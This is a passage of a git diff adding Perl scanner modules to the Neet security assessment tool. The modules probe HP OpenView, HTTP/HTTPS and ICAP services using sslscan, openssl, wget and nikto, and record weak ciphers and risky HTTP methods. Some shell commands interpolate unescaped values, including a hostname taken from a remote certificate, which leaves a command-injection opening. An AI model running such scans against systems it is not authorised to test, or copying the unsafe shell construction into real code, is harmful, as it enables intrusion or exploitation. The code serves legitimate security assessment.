$threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub { + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + my $TIMEOUT=30; + $SIG{'ALRM'}=sub { + die ("TIMEOUT"); + }; + + # And now the code for the actual test: + use IO::Socket::INET; + my ($sock,@response); + alarm ($TIMEOUT); + + eval { + $sock = IO::Socket::INET->new ( + 'PeerAddr' => $host, + 'PeerPort' => $port, + 'Proto' => 'tcp', + 'Timeout' => 10); + + if ($sock){ + my $query = "GET /Hewlett-Packard/OpenView/BBC/version HTTP/1.0\r\n\r\n"; + print $sock $query; + while (my $line=<$sock>){ + push @response, $line; + last if (index($line,"EndWS") >=0); + } + $sock->close; + + } else { + print "Couldn't connect to $host $port\n"; + } + }; # End of eval + + if ($@ =~ /TIMEOUT/){ + close $sock if ($sock); + $Log->Warn ("GSM thread $threadID ($name -> $target): TimedOut\n","LOGONLY"); + last; + } + $SIG{'ALRM'}=''; + + if ($#response > 1){ + if (open(USR,">${outputDir}/raw/hpOpenView-${port}.txt")){ + print USR @response; + close USR; + } + # Parse the response + for my $element (@response){ + if (($element =~ /^Bits/) && ($element =~ /:32/)){ + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","Architecture","32-bit"); + } elsif (($element =~ /^Bits/) && ($element =~ /:64/)){ + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","Architecture","64-bit"); + } elsif (($element =~ /^OS/) && ($element =~ /:Linux/)){ + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","OSType","unix"); + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","OSFamily","Linux"); + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","OS","Linux"); + $MainScan->SetStatValue($MainScan->ResultsDirectory . "/unix.txt",$host,"Linux"); + } + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} +1; diff --git a/content/HTTP/HTTP.gsm b/content/HTTP/HTTP.gsm new file mode 100644 index 0000000..ff28fae --- /dev/null +++ b/content/HTTP/HTTP.gsm @@ -0,0 +1,432 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package HTTP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("https.txt","http.txt","cups.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=35; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=8; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + my $Niktotimeout=$Config->GetVal("Speeds.${targetType}.nikto.timeout." . $MainScan->Speed); + my $timeout=$Config->GetVal("Speeds.${targetType}.wget.timeout." . $MainScan->Speed); + my $retries=$Config->GetVal("Speeds.${targetType}.wget.retries." . $MainScan->Speed); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $screenshotTimeout=25; # Seconds + my $SSL=0; + my $VirtualHost=undef; + + if ("$file" eq "https.txt"){ + $SSL=1; + my $sslscan=$MainScan->getPath("sslscan"); + if ($sslscan && !$self->IsScanComplete("${name}_ssl",$target)){ + my $error=$MainScan->System($MainScan->getPath("sslscan") . " $socket > ${outputDir}/raw/sslscan-${socket}.txt 2>&1"); + if (!$error){ + my @ciphers=$MainScan->ReadFile("${outputDir}/raw/sslscan-${socket}.txt"); + my ($pref,$weak,$two,$badpref,$null,$prefnull)=(0,0,0,0,0,0); + for my $cipher (@ciphers){ + if ($cipher =~ /Prefered Server Cipher/){ + $pref=1; next; + } + if ($pref){ + if ($cipher =~ /(NULL)/){ + $prefnull=1; next; + } + if ($cipher =~ /(\s56 bits)|(\s40 bits)/){ + $badpref=1; + } + } + if (($cipher =~ /Accepted/) && ($cipher =~ /(NULL)|(\s0 bits)/)){ + $null=1; next; + } + if (($cipher =~ /Accepted/) && ($cipher =~ /(\s40 bits)|(\s56 bits)/)){ + $weak=1; next; + } + if (($cipher =~ /Accepted/) && ($cipher =~ /SSLv2/)){ + $two=1; next; + } + } + if ($weak && $null){ + my $message="SSL service supports short keys and NULL ciphers"; + $MainScan->RecordVulnerability($target,"GSM-HTTPS-1",$message); + } elsif ($weak){ + my $message="SSL service supports short keys"; + $MainScan->RecordIssue($target,"GSM-HTTPS-2",$message); + } elsif ($null){ + my $message="SSL service supports NULL ciphers"; + $MainScan->RecordVulnerability($target,"GSM-HTTPS-3",$message); + } + if ($two){ + my $message="SSL service supports SSL protocol v2"; + $MainScan->RecordVulnerability($target,"GSM-HTTPS-4",$message); + } + if ($prefnull){ + my $message="SSL service negotiates NULL ciphers"; + $MainScan->RecordVulnerability($target,"GSM-HTTPS-5",$message); + } elsif ($badpref){ + my $message="SSL service negotiates insecure cipher suites"; + $MainScan->RecordVulnerability($target,"GSM-HTTPS-6",$message); + } + $self->SetScanComplete("${name}_ssl","$target"); + } else { + $Log->Error("GSM thread $threadID ($name -> $target): Couldn't check SSL ciphers - error $error"); + } + } else { + $Log->Status("GSM thread $threadID ($name -> $target): Already checked SSL ciphers - skipping","LOGONLY"); + } + } + + # Record what we found on this port + mkdir "${outputDir}/wget"; + mkdir $MainScan->ResultsDirectory . "/web-screenshots"; + + my $vhost = $host; # Default virtual hostname + my $architecture="i386"; # Work out our architecture to select an appropriate screenshot binary + if (`uname -a` =~ /x86_64/){ + $architecture="amd64"; + } + + my $openssl=$MainScan->getPath("openssl"); + if ("$file" eq "https.txt"){ + # See if we can determine the correct virtual hostname from the SSL cert + $MainScan->TimedSystem($screenshotTimeout,"echo | $openssl s_client -connect ${host}:${port} > ${outputDir}/raw/openssl-${port}.txt 2>&1"); + my @sslFile=$MainScan->ReadFile("${outputDir}/raw/openssl-${port}.txt"); + for my $l (@sslFile){ + next if (!$l); + if ($l =~ /^subject=/){ + chomp $l; + my ($a,$b)=split "CN=", $l; + $vhost=$b if ((length($b)>3) && ($b !~ /\*/)); + last; + } + } + + # Check for insecure renegotiation + $MainScan->TimedSystem(20,"echo R | $openssl s_client -connect ${host}:${port} > ${outputDir}/raw/openssl-renegotiate-${port}.txt 2>&1"); + @sslFile=$MainScan->ReadFile("${outputDir}/raw/openssl-renegotiate-${port}.txt"); + my ($secureSupported,$renegotiated)=(1,0); + for my $l (@sslFile){ + next if (!$l); + if (index($l,"Secure Renegotiation IS NOT supported") == 0){ + $secureSupported=0; + } + if (index($l,"RENEGOTIATING") == 0){ + $renegotiated=1; + } + } + if ($renegotiated && !$secureSupported){ + my $message="SSL service supports insecure renegotiaton"; + $MainScan->RecordIssue($target,"GSM-HTTPS-7",$message); + } + } + + my $setHostsEntry=0; + if ($vhost ne $host){ + # Set the hostname mapping in /etc/hosts. + # $MainScan->SetStatValue("/etc/hosts","$host","$vhost"); + # $setHostsEntry=1; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","vhost","$vhost"); + $VirtualHost=$vhost; + } + + my $wkhtmltoimage="wkhtmltoimage"; + $wkhtmltoimage="wkhtmltoimage-amd64" if ("$architecture" eq "amd64"); + + my $screenshotCommand="${BasePrefix}/pkg/bin/$wkhtmltoimage --load-error-handling ignore -n \"http://$vhost:$port/\" \"" . $MainScan->ResultsDirectory . "/web-screenshots/http-${host}.${port}.jpg\" >/dev/null 2>&1"; + $screenshotCommand =~ s/http/https/g if ("$file" eq "https.txt"); + # Take the screenshot + $MainScan->TimedSystem($screenshotTimeout, $screenshotCommand); + + my $Niceness=10; + if ("$file" eq "https.txt"){ + $MainScan->System($MainScan->getPath("wget") . " -U Mozilla -x -nH -q -E -H -k -K -p --ignore-length -P ${outputDir}/wget/$port --no-proxy -t \"$retries\" -T \"$timeout\" https://$vhost:$port/"); + $MainScan->System($MainScan->getPath("wget") . " -U Mozilla -x -nH -q -E -H -k -K -p --ignore-length -P ${outputDir}/wget/$port --no-proxy -t \"$retries\" -T \"$timeout\" https://$vhost:$port/robots.txt"); + if ($setHostsEntry){ + # Remove the hosts entry + $MainScan->DelStatKeyValue("/etc/hosts","$host","$vhost"); + } + $MainScan->TimedSystem($Niktotimeout,"cd $BasePrefix/pkg/nikto && nice -n $Niceness ./nikto.pl -host $host -vhost $vhost -ssl -port $port -Cgidirs all -Tuning 012345789abc -nolookup > ${outputDir}/raw/nikto-${port}.txt 2>&1"); + } else { + $MainScan->System($MainScan->getPath("wget") . " -U Mozilla -x -nH -q -E -H -k -K -p --ignore-length -P ${outputDir}/wget/$port --no-proxy -t \"$retries\" -T \"$timeout\" http://$host:$port/"); + $MainScan->System($MainScan->getPath("wget") . " -U Mozilla -x -nH -q -E -H -k -K -p --ignore-length -P ${outputDir}/wget/$port --no-proxy -t \"$retries\" -T \"$timeout\" http://$host:$port/robots.txt"); + $MainScan->TimedSystem($Niktotimeout,"cd $BasePrefix/pkg/nikto && nice -n $Niceness ./nikto.pl -host $host -port $port -Cgidirs all -Tuning 012345789abc -nolookup > ${outputDir}/raw/nikto-${port}.txt 2>&1"); + } + + # Check the nikto output + my @nFile=$MainScan->ReadFile("${outputDir}/raw/nikto-${port}.txt"); + for my $l (@nFile){ + next if (!$l); + if ($l =~ /items checked: \d+ item\(s\) reported on remote host/){ + $l =~ s/^[\s\S]+ (\d+) item\(s\)[\s\S]+/$1/; + if ($l > 0){ + my $message="Nikto found $l problems on this HTTP server"; + if ($l > 5){ + $MainScan->RecordVulnerability($target,"GSM-HTTP-1",$message); + } else { + $MainScan->RecordIssue($target,"GSM-HTTP-2",$message); + } + } + last; + } + if ($l =~ /Default account found for/){ + chomp $l; $l =~ s/^\W+(Default [\w\W]+$)/$1/; + my $message="tcp/${port}: $l"; + $MainScan->RecordVulnerability($target,"GSM-HTTP-2",$message); + } + if ($l =~ /Allowed HTTP Methods:[\s\S]+PUT/){ + my $message="HTTP Server allows PUT method."; + $MainScan->RecordVulnerability($target,"GSM-HTTP-3",$message); + } + if ($l =~ /Allowed HTTP Methods:[\s\S]+DELETE/){ + my $message="HTTP Server allows DELETE method."; + $MainScan->RecordVulnerability($target,"GSM-HTTP-4",$message); + } + if ($l =~ /WebDAV enabled /){ + my $message="HTTP Server Supports WebDAV."; + $MainScan->RecordVulnerability($target,"GSM-HTTP-5",$message); + } + } + + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} +1; diff --git a/content/ICAP/ICAP.gsm b/content/ICAP/ICAP.gsm new file mode 100644 index 0000000..e3cc506 --- /dev/null +++ b/content/ICAP/ICAP.gsm @@ -0,0 +1,302 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package ICAP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("icap.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=5; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /opt/neet/resources/modules/$name, so for this + # module, $resourceDir would be /opt/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usually /opt/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + use IO::Socket::INET; + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + # <<< CODE GOES HERE >>> + my $outputFile="raw/icap-info-$port.txt"; + my (@icap, $sock,$request); + + my $TIMEOUT=3; + $SIG{'ALRM'}=sub { + die ("TIMEOUT"); + }; + alarm ($TIMEOUT); + + eval { + $sock=IO::Socket::INET->new('PeerAddr' => $host, 'PeerPort' => $port, 'Proto' => 'tcp'); + if ($sock){ + $request="OPTIONS / ICAP/1.0\r\n\r\n"; + print $sock $request; + push @icap, $request; + while (my $line=<$sock>){ + push @icap, $line; + last if (length($line) < 3); + } + + $request="BADMETHOD / ICAP/1.0\r\n\r\n"; + print $sock $request; + push @icap, $request; + while (my $line=<$sock>){ + push @icap, $line; + last if (length($line) < 3); + } + $sock->close; + } else { + print "Couldn't connect to $host $port\n"; + } + }; + + if ($#icap >=0){ + if (open(ICAPOUT,">$outputDir/$outputFile")){ + print ICAPOUT @icap; + close ICAPOUT; + } + } + + if ($@ =~ /TIMEOUT/){ + close $sock if ($sock); + $Log->Warn ("GSM thread $threadID ($name -> $target): TimedOut\n","LOGONLY"); + } + $SIG{'ALRM'}=''; + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my 